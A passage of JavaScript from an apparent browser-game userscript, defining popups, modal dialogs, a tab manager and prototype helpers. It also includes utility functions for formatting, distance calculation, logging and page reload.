				var body = document.getElementById(UID['Message_body']);
				var butOk = document.getElementById(UID['btn_ok']);
				if (subject && body && subject.value != null && subject.value != '' && body.value != null && body.value != '') {
					butOk.disabled = false;
					Element.removeClassName(butOk, UID['btn_disabled']);
					Element.addClassName(butOk, "confirm_button");
				} else {
					butOk.disabled = true;
					Element.removeClassName(butOk, "confirm_button");
					Element.addClassName(butOk, UID['btn_disabled']);
				}
			}
			document.getElementById(UID['Message_subject']).addEventListener('change', setButOk, false);
			document.getElementById(UID['Message_body']).addEventListener('change', setButOk, false);
			document.getElementById(UID['btn_ok']).addEventListener('click', function() {
				var subject = document.getElementById(UID['Message_subject']);
				var body = document.getElementById(UID['Message_body']);
				if (subject && body && subject.value != null && subject.value != '' && body.value != null && body.value != '') {
					MsgSendPop.show(false);
					Data.options.popUp = {
						open: Data.options.popUp.open,
						drag: Data.options.popUp.drag,
						x: save_popUp.x,
						y: save_popUp.y
					};
					MyAjax.messageSend(subject.value, body.value, id, is_player);
				}
			}, false);
			document.getElementById(UID['btn_cancel']).addEventListener('click', function() {
				MsgSendPop.show(false);
				Data.options.popUp = {
					open: Data.options.popUp.open,
					drag: Data.options.popUp.drag,
					x: save_popUp.x,
					y: save_popUp.y
				};
			}, false);
			MsgSendPop.show(true);
		}

		function updaterConfirm(msg, onContinue, onCancel, two_buttons) {
			var save_popUp = {
				x: Data.options.popUp.x,
				y: Data.options.popUp.y
			};
			updaterPop = new PopUp('updater', 800 + Math.randRange(1, 50), 300, 300, 150, true);
			updaterPop.getTopDiv().innerHTML = '<div class=' + UID['title'] + '><center><b>' + scriptName + ': ' + translate('Confirmation') + '!</b></center></div>';
			var layoutDiv = document.createElement('div');
			layoutDiv.className = 'container';
			layoutDiv.style.backgroundColor = 'rgb(245,245,228)';
			layoutDiv.style.color = '#000';
			layoutDiv.style.height = '100%';
			var layout = '<table align=center valign=center style="height: 100%">' + '<tr align=center height=60%>' + '<td>' + msg + '</td>' + '</tr>' + '<tr align=center>' + '<td>' + '<input id=' + setUID('btn_ok') + ' type=button class=confirm_button value="' + translate('OK') + '" />';
			if (two_buttons) {
				layout += '	&nbsp; &nbsp;' + '<input id=' + setUID('btn_cancel') + ' type=button class=confirm_button value=' + translate('Cancel') + ' />';
			}
			layout += '</td></tr></table>';
			if (updaterPop.getMainDiv().lastChild)
				updaterPop.getMainDiv().removeChild(updaterPop.getMainDiv().lastChild);
			updaterPop.getMainDiv().appendChild(layoutDiv);
			layoutDiv.innerHTML = layout;

			document.getElementById(UID['btn_ok']).addEventListener('click', function() {
				updaterPop.show(false);
				Data.options.popUp = {
					open: Data.options.popUp.open,
					drag: Data.options.popUp.drag,
					x: save_popUp.x,
					y: save_popUp.y
				};
				if (onContinue && typeof(onContinue) == "function") onContinue();
			}, false);

			if (two_buttons) {
				document.getElementById(UID['btn_cancel']).addEventListener('click', function() {
					updaterPop.show(false);
					Data.options.popUp = {
						open: Data.options.popUp.open,
						drag: Data.options.popUp.drag,
						x: save_popUp.x,
						y: save_popUp.y
					};
					if (onCancel && typeof(onContinue) == "function") onCancel();
				}, false);
			}
			updaterPop.show(true);
		}

		function ModalDialog(curtainDiv, width, height, styleName, allowClose, notifyClose) {
			this.allowClose = function(onOff) {
				if (onOff) document.getElementById(UID['ModalDialog_btnClose']).style.display = 'block';
				else document.getElementById(UID['ModalDialog_btnClose']).style.display = 'none';
			}
			this.destroy = function() {
				if (!this.destroyed) {
					this.curtainDiv.removeChild(this.curtain);
					this.curtainDiv.removeChild(this.div);
				}
			}
			this.hide = function() {
				this.curtainDiv.style.display = 'none';
				this.curtainDiv.style.display = 'none';
			}
			this.show = function() {
				this.curtainDiv.style.display = 'block';
				this.curtainDiv.style.display = 'block';
			}
			this.getContentDiv = function() {
				return document.getElementById(UID['ModalDialog_Close']);
			}
			this.getTopDiv = function() {
				return document.getElementById(UID['ModalDialog_Top']);
			}
			var offset = Element.positionedOffset(curtainDiv);
			this.curtainDiv = curtainDiv;
			this.curtain = document.createElement('div');
			this.curtain.style.top = (offset.top) + 'px';
			this.curtain.style.left = (offset.left) + 'px';
			this.curtain.style.width = curtainDiv.offsetWidth + 'px';
			this.curtain.style.height = (curtainDiv.offsetHeight) + 'px';
			this.curtain.style.backgroundColor = '#000';
			this.curtain.style.opacity = '0.6';
			this.curtain.style.zIndex = parseInt(curtainDiv.style.zIndex) + 1;
			this.curtain.style.position = 'absolute';
			this.curtain.style.margin = curtainDiv.style.margin;
			this.curtain.style.padding = curtainDiv.style.padding;
			curtainDiv.appendChild(this.curtain);

			this.div = document.createElement('div');
			if (styleName)
				this.div.className = styleName;
			else this.div.className = 'container';

			this.div.style.backgroundColor = 'rgb(245,245,228)';
			this.div.style.color = '#000';
			this.div.style.width = width + 'px';
			this.div.style.height = height + 'px';
			this.div.style.position = 'absolute';
			this.div.style.zindex = parseInt(curtainDiv.style.zIndex) + 2;
			this.div.style.top = ((curtainDiv.offsetHeight - height) / 2 + offset.top) + 'px';
			this.div.style.left = ((curtainDiv.offsetWidth - width) / 2 + offset.left) + 'px';
			this.div.innerHTML = '' + '<table height=100% width=100%>' + '	<tr valign=middle height=10%>' + '		<td width=100% valign=top>' + '		<div id=' + setUID('ModalDialog_Top') + ' class="' + UID['popup_top'] + '"></div>' + '		</td>' + '	</tr>' + '	<tr valign=middle height=70%>' + '		<td>' + '		<div id=' + setUID('ModalDialog_Close') + ' style="text-align:center"></div>' + '		</td>' + '	</tr>' + '	<tr valign=middle align=center>' + '		<td width=100% align=center>' + '		<div style="text-align:center;"><center>' + '			<input id=' + setUID('ModalDialog_btnClose') + ' type=button value="' + translate('Close') + '" style="display:none" />' + '		</center></div>' + '		</td>' + '	</tr>' + '</table>';
			curtainDiv.appendChild(this.div);
			this.allowClose(allowClose);
			this.notifyClose = notifyClose;
			var t = this;
			document.getElementById(UID['ModalDialog_btnClose']).addEventListener('click', function() {
				t.destroyed = true;
				t.curtainDiv.removeChild(t.curtain);
				t.curtainDiv.removeChild(t.div);
				if (t.notifyClose) notifyClose();
			}, false);
		}
		/******************************** Modal dialog function ***********************/

		/******************************** TabManager + WinManager + PopUp *************/
		var tabManager = {
			tabList: {},
			/* {name, obj, div} */
			currentTab: null,

			init: function(mainDiv) {
				var t = tabManager;
				var sorter = [];
				for (k in Tabs) {
					if ((k == 'Waves' && nvl(Data.options.disable_wave, !WAVE_TAB_ENABLE)) ||
						(k == 'Multiple' && nvl(Data.options.disable_multi, !MULTI_TAB_ENABLE)) ||
						(k == 'Spies' && nvl(Data.options.disable_spies, !SPY_TAB_ENABLE)) ||
						(k == 'Bookmarks' && nvl(Data.options.disable_bookmark, !BOOKMARK_TAB_ENABLE)) ||
						(k == 'Inbox' && nvl(Data.options.disable_inbox, !INBOX_TAB_ENABLE)) ||
						(k == 'Search' && nvl(Data.options.disable_search, !SEARCH_TAB_ENABLE)) ||
						(k == 'Alliance' && nvl(Data.options.disable_alliance, !ALLIANCE_TAB_ENABLE)) ||
						(k == 'Single' && nvl(Data.options.disable_single, !SINGLE_TAB_ENABLE)) ||
						(k == 'Wall' && nvl(Data.options.disable_wall, !WALL_TAB_ENABLE)) ||
						(k == 'Wheel' && nvl(Data.options.disable_wheel, !WHEEL_TAB_ENABLE)) ||
						(k == 'Log' && nvl(Data.options.disable_log, !LOG_TAB_ENABLE)) ||
                        (k == 'CPT' && nvl(Data.options.disable_cpt, !CPT_TAB_ENABLE)))
						Tabs[k].tabDisabled = true;
					else if (k == 'Waves' || k == 'Multiple' || k == 'Spies' || k == 'Search' || k == 'Alliance' ||
						k == 'Single' || k == 'Wheel' || k == 'Inbox' || k == 'Log')
						Tabs[k].tabDisabled = false;
					if (!Tabs[k].tabDisabled) {
						t.tabList[k] = {};
						t.tabList[k].name = k;
						t.tabList[k].uid = setUID('tab_' + k);
						t.tabList[k].obj = Tabs[k];
						if (Tabs[k].tabLabel != null)
							t.tabList[k].label = translate(Tabs[k].tabLabel);
						else t.tabList[k].label = k;
						if (k == 'Inbox') {
							var inbox_uid = setUID('tabInbox_UnreadCount');
							t.tabList[k].label = '<div id=' + inbox_uid + '>' + translate(Tabs[k].tabLabel) + '&nbsp<span class=' + UID['red'] + '>0000</span></div>';
						}
						if (Tabs[k].tabOrder != null)
							sorter.push([Tabs[k].tabOrder, t.tabList[k]]);
						else sorter.push([1000, t.tabList[k]]);
						t.tabList[k].div = document.createElement('div');
					}
				}

				sorter.sort(function(a, b) {
					return a[0] - b[0]
				});

				var ntabs = sorter.length;
				if (ntabs > 9) {
					var line1 = 9;
					var addStyle = 'style="border-bottom:none; padding-bottom:0;"';
					var addClass = ' line1';
				} else {
					var line1 = sorter.length;
					var addStyle = '';
					var addClass = '';
				}

				var m = '<div class=' + UID['title_main'] + ' style="padding-top:5px; padding-bottom:5px;"><table width=95% align=center>' + '	<tr align=center><td width=45% align=left>' + scriptName + ' by ' + mainAuthor + ' - v' + scriptVersion + '&nbsp(' + api_version + ')</td>' + '		<td width=33% align=center><SPAN id=' + setUID('tabManager_Alert') + '></span></td>' + '		<td width=22% align=left><SPAN id=' + setUID('tabManager_Time') + '></span></td>' + '	</tr></table></div>';

				m += '<ul class=tabs ' + addStyle + '>';
				m += '<li class="tab first' + addClass + '"><a id=' + sorter[0][1].uid + '>' + sorter[0][1].label + '</a></li>';
				for (var i = 1; i < line1; i++)
					m += '<li class="tab' + addClass + '"><a id=' + sorter[i][1].uid + '>' + sorter[i][1].label + '</a></li>';
				m += '</ul>';
				if (sorter.length > line1) {
					header_2lines = true;
					m += '<ul class="tabs line2">';
					for (var i = line1; i < sorter.length; i++) {
						if (i == line1) var addClass = ' first';
						else var addClass = '';
						m += '<li class="tab line2' + addClass + '"><a id=' + sorter[i][1].uid + '>' + sorter[i][1].label + '</a></li>';
					}
					m += '</ul>';
				}
				m += '<div id=' + div_player_attack + '></div>' + '<div id=' + div_player_spy + '></div>' + '<div id=' + div_player_building + '></div>' + '<div id=' + div_player_units + '></div>' + '<div id=' + div_player_research + '></div>' + '<div id=' + div_player_fortuna + '></div>';
				mainPop.getTopDiv().innerHTML = m;

				t.currentTab = null;
				for (k in t.tabList) {
					if (t.tabList[k].name == Data.options.currentTab)
						t.currentTab = t.tabList[k];
					document.getElementById(t.tabList[k].uid).addEventListener('click', this.e_clickedTab, false);
					var div = t.tabList[k].div;
					div.className = 'container';
					div.style.display = 'none';
					mainDiv.appendChild(div);
					try {
						t.tabList[k].obj.init(div);
					} catch (e) {
						div.innerHTML += "INIT ERROR: " + e;
					}
				}
				if (t.currentTab == null)
					t.currentTab = sorter[0][1];
				t.setTabStyle(document.getElementById(t.currentTab.uid), true);
				t.currentTab.div.style.display = 'block';
				t.showClock();
			},
			hideTab: function() {
				var t = tabManager;
				t.currentTab.obj.hide();
			},
			showTab: function() {
				var t = tabManager;
				t.currentTab.obj.show();
			},
			setTabStyle: function(e, selected) {
				if (selected) {
					e.style.zIndex = 1;
					e.className = 'tab selected';
				} else {
					e.style.zIndex = 0;
					e.className = 'tab';
				}
			},
			e_clickedTab: function(event) {
				var t = tabManager,
					element;
				if (event.target.tagName == 'A')
					element = event.target;
				else {
					var parentElement = event.target.parentNode;
					while (parentElement.tagName != 'A')
						parentElement = parentElement.parentNode;
					element = parentElement;
				}
				var id = element.getAttribute('id');
				for (k in t.tabList)
					if (t.tabList[k].uid == element.id) {
						var newTab = t.tabList[k];
						break;
					}
				if (t.currentTab.name != newTab.name) {
					t.setTabStyle(document.getElementById(newTab.uid), true);
					t.setTabStyle(document.getElementById(t.currentTab.uid), false);
					t.currentTab.obj.hide();
					t.currentTab.div.style.display = 'none';
					t.currentTab = newTab;
					newTab.div.style.display = 'block';
					Data.options.currentTab = newTab.name;
				}
				if (document.getElementById(UID['tabInbox_UnreadCount'])) {
					if (newTab.name == 'Inbox') color = 'yellow';
					else color = 'red';
					document.getElementById(UID['tabInbox_UnreadCount']).innerHTML = translate('Inbox') + (Messages.unread_count > 0 ? '&nbsp<font color=' + color + '>' + Messages.unread_count + '</font>' : '');
				}
				newTab.obj.show();
			},
			showClock: function() {
				var t = tabManager;
				var now = new Date();
				now.setTime(now.getTime() + ((Data.options.utc_time) ? (now.getTimezoneOffset() * 60000) : 0));
				document.getElementById(UID['tabManager_Time']).innerHTML = '<font color="#FFFFFF"><b>' + now.toTimeString().substring(0, 8) + ' ' + ((Data.options.utc_time) ? ' UTC' : '') + '</b></font>';
				document.getElementById(UID['tabManager_Alert']).innerHTML = SoundPlayer.shortString;
				if (document.getElementById(UID['short_alerts']))
					document.getElementById(UID['short_alerts']).addEventListener('click', function() {
						SoundPlayer.StopSound('attack');
						SoundPlayer.StopSound('spy');
						if (SoundPlayer.attack_repeat_timer) {
							clearTimeout(SoundPlayer.attack_repeat_timer);
							SoundPlayer.attack_repeat_timer = null;
						}
						if (SoundPlayer.spy_repeat_timer) {
							clearTimeout(SoundPlayer.spy_repeat_timer);
							SoundPlayer.spy_repeat_timer = null;
						}
						var t = tabManager;
						for (k in t.tabList)
							if (t.tabList[k].name == 'Tower') {
								var newTab = t.tabList[k];
								break;
							}
						if (t.currentTab.name != newTab.name) {
							t.setTabStyle(document.getElementById(newTab.uid), true);
							t.setTabStyle(document.getElementById(t.currentTab.uid), false);
							t.currentTab.obj.hide();
							t.currentTab.div.style.display = 'none';
							t.currentTab = newTab;
							newTab.div.style.display = 'block';
							Data.options.currentTab = newTab.name;
						}
						newTab.obj.show();
						Tabs.Tower.tabTowerWall();
					}, false);
				setTimeout(t.showClock, 1000);
			}
		}
		var WinManager = {
			wins: {},
			/* prefix : PopUp obj */
			get: function(prefix) {
				var t = WinManager;
				return t.wins[prefix];
			},
			add: function(prefix, pop) {
				var t = WinManager;
				t.wins[prefix] = pop;
			},
			del: function(prefix) {
				var t = WinManager;
				delete t.wins[prefix];
			}
		}

			function PopUp(prefix, x, y, width, height, enableDrag, onClose) {
				var pop = WinManager.get(prefix);
				if (pop) {
					pop.show(false);
					return pop;
				}
				this.BASE_ZINDEX = 100;

				/* protos ... */
				this.show = show;
				this.toggleHide = toggleHide;
				this.getTopDiv = getTopDiv;
				this.getMainDiv = getMainDiv;
				this.getLayer = getLayer;
				this.setLayer = setLayer;
				this.setEnableDrag = setEnableDrag;
				this.getLocation = getLocation;
				this.setLocation = setLocation;
				this.focusMe = focusMe;
				this.unfocusMe = unfocusMe;
				this.centerMe = centerMe;
				this.destroy = destroy;
				this.setModal = setModal;
				this.setHeight = setHeight;

				/* object vars ... */
				this.div = document.createElement('div');
				document.body.appendChild(this.div);

				this.prefix = prefix;
				this.onClose = onClose;

				if (x < 0 || x > document.body.offsetWidth) x = 0;
				if (y < 0 || y > document.body.offsetHeight) y = 0;

				/* Scramble */
				rndPopup = ['outer', 'bar', 'top', 'main', 'close'];
				for (var s = 0; s < rndPopup.length; s++) {
					rndPopup[rndPopup[s]] = setUID(prefix + '_' + rndPopup[s]);
				}
				var t = this;
				this.div.id = rndPopup['outer'];
				this.div.className = UID['popup_outer'];
				this.div.style.zIndex = this.BASE_ZINDEX;
				this.div.style.position = 'absolute';
				this.div.style.display = 'none';
				this.div.style.width = width + 'px';
				this.div.style.height = height + 'px';
				this.div.style.top = (y || 0) + 'px';
				this.div.style.left = (x || 0) + 'px';

				var m = '<span id=' + rndPopup['close'] + ' class="' + UID['popup_close'] + '">X</span>\
			<TABLE cellspacing=0 width=100% height=100%>\
			<TR id="' + rndPopup['bar'] + '" class="' + UID['popup_bar'] + '">\
				<TD width=100% valign=bottom>\
				<SPAN id="' + rndPopup['top'] + '" class="' + UID['popup_top'] + '"></span></td>\
			</tr>\
			<TR><TD height=100% valign=top colspan=2 id="' + rndPopup['main'] + '" class="' + UID['popup_main'] + '" style="background-image:url(\'' + urlBackgroundImage + '\')"></td></tr></table>';
				this.div.innerHTML = m;
				document.getElementById(rndPopup['close']).addEventListener('click', e_XClose, false);
				document.getElementById(rndPopup['bar']).addEventListener('dblclick', function() {
					toggleHideBody(rndPopup['main'], height)
				}, false);

				if (enableDrag) {
					this.dragger = new Draggable(this.div, {
						handle: rndPopup['bar'],
						scroll: window,
						onEnd: function(dragger, event) {
							var el = dragger.element;
							var offset = Element.cumulativeOffset(el);
							Data.options.popUp.x = offset.left;
							Data.options.popUp.y = offset.top;
						}
					});
				}

				this.div.addEventListener('mousedown', e_divClicked, false);
				WinManager.add(prefix, this);

				function setModal(onOff) {}

				function e_divClicked() {
					t.focusMe();
				}

				function e_XClose() {
					t.show(false);
					if (t.onClose != null) t.onClose();
				}

				function focusMe() {
					t.setLayer(15);
				} /* old = 5 */

				function unfocusMe() {
					t.setLayer(-15);
				} /* old = -5 */

				function getLocation() {
					return {
						x: toNum(this.div.style.left),
						y: toNum(this.div.style.top)
					};
				}

				function setLocation(loc) {
					t.div.style.left = loc.x + 'px';
					t.div.style.top = loc.y + 'px';
				}

				function destroy() {
					document.body.removeChild(t.div);
					WinManager.del(t.prefix);
				}

				function centerMe(parent) {
					if (parent == null)
						var coords = Element.cumulativeOffset(document.body);
					else var coords = Element.cumulativeOffset(parent);
					var left = ((document.body.offsetWidth - toNum(t.div.style.width)) / 2) + coords.left;
					var top = ((document.body.offsetHeight - toNum(t.div.style.height)) / 2) + coords.top;
					if (left < 0) left = 0;
					if (top < 0) top = 0;
					t.div.style.left = x + 'px';
					t.div.style.top = y + 'px';
				}

				function setEnableDrag(b) {
					Data.options.popUp.drag = b;
				}

				function setHeight(h) {
					t.div.style.height = h + 'px';
				}

				function setLayer(zi) {
					t.div.style.zIndex = '' + (this.BASE_ZINDEX + zi);
				}

				function getLayer() {
					return parseInt(t.div.style.zIndex) - this.BASE_ZINDEX;
				}

				function getTopDiv() {
					return document.getElementById(rndPopup['top']);
				}

				function getMainDiv() {
					return document.getElementById(rndPopup['main']);
				}

				function show(b) {
					if (b) {
						t.div.style.display = 'block';
						//$(t.div.id).blindDown();
						t.focusMe();
					} else {
						t.div.style.display = 'none';
					}
					return b;
				}

				function toggleHide(t) {
					if (t.div.style.display == 'block')
						return t.show(false);
					else return t.show(true);
				}

				function toggleHideBody(id, height) {
					var element = document.getElementById(id);
					if (element.style.display == 'block') {
						element.style.display = 'none';
						element.style.height = '0px';
						t.setHeight((header_2lines ? '72' : '52'));
					} else {
						element.style.display = 'block';
						element.style.height = '100%';
						t.setHeight(height);
					}
				}
			}
			/******************************** TabManager + WinManager + PopUp *************/


			/************ Prototype Functions **************/
			Object.defineProperty(Object.prototype, "cleanRemoved", {
				enumerable: false,
				value: function() {
					/* Create a new array from the contents of arguments */
					var args = Array.prototype.slice.call(arguments);
					var obj = this,
						from = args.shift(),
						max_depth = 0,
						path,
						depth = 0;
					if (typeof(from) == 'undefined') return;
					if (typeof(args[0]) == 'number') max_depth = args.shift();
					if (typeof(args[0]) == 'number') depth = args.shift();
					path = args[0] || '';
					if (max_depth) {
						if (depth >= max_depth) return;
						depth++;
					}
					if (typeof(obj) == "object" && typeof(from) == "object") {
						Object.getOwnPropertyNames(obj).forEach(function(name) {
							if (obj[name] != null && typeof(obj[name]) == "object" && typeof(from[name]) == "object") {
								obj[name].cleanRemoved(from[name], max_depth, depth, path + name + '.');
							} else if (typeof(from[name]) == 'undefined') {
								var msg = path + name + '  DELETED!';
								debugLog(msg);
								delete obj[name];
							}
						});
					}
					return this;
				}
			});
		Object.defineProperty(Object.prototype, "mergeWith", {
			enumerable: false,
			value: function() {
				var override = true,
					dest = this,
					len = arguments.length,
					props, merge, i, from;
				if (typeof(arguments[arguments.length - 1]) === "boolean") {
					override = arguments[arguments.length - 1];
					len = arguments.length - 1;
				}
				for (i = 0; i < len; i++) {
					from = arguments[i];
					if (from == undefined) continue;
					if (from != null || typeof(from) == "object") {
						Object.getOwnPropertyNames(from).forEach(function(name) {
							var descriptor;
							if ((typeof(dest[name]) == "object" || typeof(dest[name]) == "undefined") && typeof(from[name]) == "object") {
								if (typeof(dest[name]) == "undefined") dest[name] = Array.isArray(from[name]) ? [] : {};
								if (override) {
									if (!Array.isArray(dest[name]) && Array.isArray(from[name])) {
										dest[name] = [];
									} else if (Array.isArray(dest[name]) && !Array.isArray(from[name])) {
										dest[name] = {};
									}
								}
								if (dest[name] != undefined) dest[name].mergeWith(from[name], override);
							} else if ((name in dest && override) || !(name in dest)) {
								descriptor = Object.getOwnPropertyDescriptor(from, name);
								if (descriptor.configurable) {
									Object.defineProperty(dest, name, descriptor);
								}
							}
						});
					} else dest = from;
				}
				return this;
			}
		});
		Array.prototype.compare = function(testArr) {
			if (this.length != testArr.length) return false;
			for (var i = 0; i < testArr.length; i++) {
				if (this[i].compare) {
					if (!this[i].compare(testArr[i])) return false;
				}
				if (this[i] !== testArr[i]) return false;
			}
			return true;
		}
		Array.prototype.shuffle = function() {
			for (var i = 0; i < this.length; i++) {
				var a = this[i];
				var b = Math.floor(Math.random() * this.length);
				this[i] = this[b];
				this[b] = a;
			}
		}
		Date.prototype.myString = function() {
			return this.toDateString() + ' ' + this.toTimeString().substr(0, 8);
		}
		Date.prototype.formatTime = function() {
			var curr_hour = this.getHours();
			var curr_min = this.getMinutes();
			var curr_sec = this.getSeconds();
			return (curr_hour < 10 ? '0' : '') + curr_hour + gFormatTime + (curr_min < 10 ? '0' : '') + curr_min + gFormatTime + (curr_sec < 10 ? '0' : '') + curr_sec;
		}
		Date.prototype.formatDate = function() {
			var curr_day = this.getDate();
			var curr_month = this.getMonth();
			curr_month++;
			var curr_year = this.getFullYear();
			return (curr_day < 10 ? '0' : '') + curr_day + gFormatDate + (curr_month < 10 ? '0' : '') + curr_month + gFormatDate + curr_year;
		}
		Math.randRange = function(from, to) {
			return Math.floor((Math.random() * (to - from + 1)) + from);
		}
		Number.prototype.intToCommas = function() {
			var nStr = toNum(this) + '';
			var rgx = /(\d+)(\d{3})/;
			while (rgx.test(nStr)) {
				nStr = nStr.replace(rgx, '$1' + ',' + '$2');
			}
			return nStr;
		}
		String.prototype.escapeHTML = function() {
			return this.replace(/&/g, '&amp;').replace(/</g, '&lt;').replace(/>/g, '&gt;').replace(/\"/g, '&quot;');
		}
		String.prototype.intToCommas = function() {
			return toNum(this);
		}
		String.prototype.nowrap = function() {
			return this.replace(/\s/g, '&nbsp;');
		}
		String.prototype.strip = function() {
			return this.replace(/^\s+/, '').replace(/\s+$/, '');
		}
		String.prototype.initCap = function() {
			return this.charAt(0).toUpperCase() + this.substring(1).toLowerCase();
		}

		/************ Functions **************/

		function addScript(scriptText) {
			var scr = document.createElement('script');
			scr.innerHTML = scriptText;
			document.body.appendChild(scr);
		}

		function addStyle(css) {
			var target = document.getElementsByTagName('head')[0];
			if (target.getElementsByTagName('style').length > 0)
				target.removeChild(target.getElementsByTagName('style')[0]);
			var obj = document.createElement('style');
			obj.type = 'text/css';
			obj.appendChild(document.createTextNode(css));
			target.appendChild(obj);
		}

		function checkDelay() {
			MAP_DELAY = 750;
			MIN_DELAY = 10;
			MIN_DELAY_BETWEEN_WAVE = 10;
		}

		function clearAndReload() {
			var localStorageVersion = localStorage.getItem('118446_version');
			if (!localStorageVersion || localStorageVersion != scriptVersion) {
				localStorage.setItem('118446_sendMessage', 'yes');
				dialogConfirm(translate('New version has been installed...') + '<br>' + translate('Do you want to delete existing Permanent Data') + ' ?<br><br>' + translate('This should not clear map and alliance data.'),
					function() {
						try {
							Data.clearStorage(true);
							Data.setDefaultValues('all');
						} catch (e) {}
						localStorage.setItem('118446_version', scriptVersion);
						setTimeout(reloadTools, 2000);
					},
					function() {
						localStorage.setItem('118446_version', scriptVersion);
					}, true
				);
			}
		}

		function cloneProps(src) {
			var newObj = (src instanceof Array) ? [] : {};
			for (i in src) {
				if (matTypeof(src[i]) == 'function') continue;
				if (src[i] && typeof src[i] == 'object') {
					newObj[i] = cloneProps(src[i]);
				} else
					newObj[i] = src[i];
			}
			return newObj;
		}

		function decodeEntity(str) {
			var ta = document.createElement('textarea');
			ta.innerHTML = str;
			return ta.value;
		}

		function dispError(msg, target) {
			var target = target != undefined ? target : document.body;
			var dial = new ModalDialog(target, 300, 150, '', true);
			dial.getTopDiv().innerHTML = '<div class=' + UID['title'] + '><center><b>' + scriptName + ' : ' + translate('Error') + '</b></center></div>';
			dial.getContentDiv().innerHTML = msg;
		}

		function findSimilarWord(word, source) {
			var pattern = new RegExp(RegExp.escape(word) + '[\\w]+', 'i');
			var match = source.match(pattern);
			return match ? match[0].capitalize() : word;
		}

		function getDistance(d, f, c, e) { /* Pythagorean theorum for the hypotenuse of a right triangle */
			var a = 750;
			var g = a / 2;
			var b = Math.abs(c - d);
			if (b > g) b = a - b;
			var h = Math.abs(e - f);
			if (h > g) h = a - h;
			return Math.round(100 * Math.sqrt(b * b + h * h)) / 100;
		}

		function getKeys(obj) {
			var arr = new Array();
			for (var key in obj) {
				if (obj.hasOwnProperty(key)) arr.push(key);
			}
			return arr;
		}

		function implodeUrlArgs(obj) {
			var a = [];
			for (var k in obj)
				a.push(k + '=' + encodeURI(obj[k]));
			return a.join('&');
		}

		function inspectObj(obj, maxLevels, level, doFunctions) {
			var str = '',
				type, msg;
			if (level == null) level = 0;
			if (maxLevels == null) maxLevels = 1;
			if (maxLevels < 1) return 'Inspect Error: Levels number must be > 0';
			if (obj == null) return 'ERROR: Object is NULL\n';
			var indent = '';
			for (var i = 0; i < level; i++)
				indent += ' ';
			for (property in obj) {
				try {
					type = matTypeof(obj[property]);
					if (doFunctions == true && (type == 'function')) {
						str += indent + '(' + type + ') ' + property + "[FUNCTION]\n";
					} else if (type != 'function') {
						str += indent + '(' + type + ') ' + property + ((obj[property] == null) ? (': null') : ('')) + ' = ' + obj[property] + "\n";
					}
					if ((type == 'object' || type == 'array') && (obj[property] != null) && (level + 1 < maxLevels))
						str += inspectObj(obj[property], maxLevels, level + 1, doFunctions); /* recurse */
				} catch (err) {
					if (typeof(err) == 'string') msg = err;
					else if (err.message) msg = err.message;
					else if (err.description) msg = err.description;
					else msg = 'Unknown';
					str += '(Error) ' + property + ': ' + msg + "\n";
				}
			}
			str += "\n";
			return str;
		}

		function is_null(obj) {
			if (!obj || obj == undefined || obj == null || obj == '') return true;
			else return false;;
		}

		function logit(msg) {
			var serverID = SERVER_ID;
			var now = new Date();
			debugLog(serverID + ' @ ' + now.toTimeString().substring(0, 8) + '.' + now.getMilliseconds() + ': ' + msg);
			if (Data.log) consoleLog(msg.replace(/\n/g, '<br/>'));
		}

		function makeRandomTitle() {
			scriptTitle = scriptName.split('');
			var tags = ['SPAN', 'FONT', 'BDO', 'CENTER', 'DIV', 'LABEL', 'B', 'STRONG', 'P', 'TD'];
			var len = tags.length - 1;
			var newTitle = [];
			for (var i = 0; i < scriptTitle.length; i++) {
				if (scriptTitle[i] == ' ') newTitle.push('&nbsp;');
				var t = tags[Math.ceil(Math.random() * len)];
				newTitle.push('<' + t + '>' + scriptTitle[i] + '</' + t + '>');
			}
			scriptTitle = '<span class=' + UID['title'] + '>' + newTitle.join('') + '<span>';
		}

		function matTypeof(v) {
			if (v == undefined)
				return 'undefined';
			if (typeof(v) == 'object') {
				if (!v)
					return 'null';
				else if (v.constructor.toString().indexOf("Array") >= 0 && typeof(v.splice) == 'function')
					return 'array';
				else return 'object';
			}
			return typeof(v);
		}

		function numf(nNombre, separateurMilliers) {
			var sNombre = String(nNombre);
			var i;
			if (separateurMilliers == undefined) separateurMilliers = ' ';

			function separeMilliers(_sNombre) {
				var sRetour = "";
				while (_sNombre.length % 3 != 0) {
					_sNombre = "0" + _sNombre;
				}
				for (i = 0; i < _sNombre.length; i += 3) {
					if (i == _sNombre.length - 1) separateurMilliers = '';
					sRetour += _sNombre.substr(i, 3) + separateurMilliers;
				}
				while (sRetour.substr(0, 1) == "0") {
					sRetour = sRetour.substr(1);
				}
				return sRetour.substr(0, sRetour.lastIndexOf(separateurMilliers));
			}
			return nvl(separeMilliers(sNombre), '0');
		}

		function nvl(obj, val) {
			if (typeof obj == 'undefined' || obj === undefined || obj === null || obj === '') return val;
			return obj;
		}

		function reloadTools() {
			var serverId = SERVER_ID;
			if (serverId == '??') window.location.reload(true);
			if (REALM_URL.indexOf("kabam.com") >= 0) {
				go_to = REALM_URL;
			} else {
				go_to = REALM_URL + serverId;
			}
			var t = '<FORM target="_top" action="' + go_to + '" method=post><INPUT id=xxpbButReload type=submit value=RELOAD><INPUT type=hidden name=s value="' + serverId + '"</form>';
			var e = document.createElement('div');
			e.innerHTML = t;
			document.body.appendChild(e);
			setTimeout(function() {
				document.getElementById('xxpbButReload').click();
			}, 0);
		}

		function searchDOM(node, condition, maxLevel, doMult) {
			var found = [];
			eval('var compFunc = function (node) { return (' + condition + ') }');
			doOne(node, 1);
			if (!doMult) {
				if (found.length == 0) return null;
				return found[0];
			}
			return found;

			function doOne(node, curLevel) {
				try {
					if (compFunc(node)) found.push(node);
				} catch (e) {}

				if (!doMult && found.length > 0) return;
				if (++curLevel < maxLevel && node.childNodes != undefined) {
					for (var c = 0; c < node.childNodes.length; c++) {
						doOne(node.childNodes[c], curLevel);
					}
				}
			}
		}

		function sendNewVersionMsg() {
			var localStorageVersion = localStorage.getItem('118446_sendMessage');
			if (!localStorageVersion || localStorageVersion == 'yes') {
				localStorage.setItem('118446_sendMessage', 'no');
				try {
					var lang = (is_null(Data.options.user_language) ? LANG_CODE : Data.options.user_language).toLowerCase(),
						subject = '',
						body = '';
					if (lang == 'fr') {
						subject = 'Nouveautés de la v' + scriptVersion;
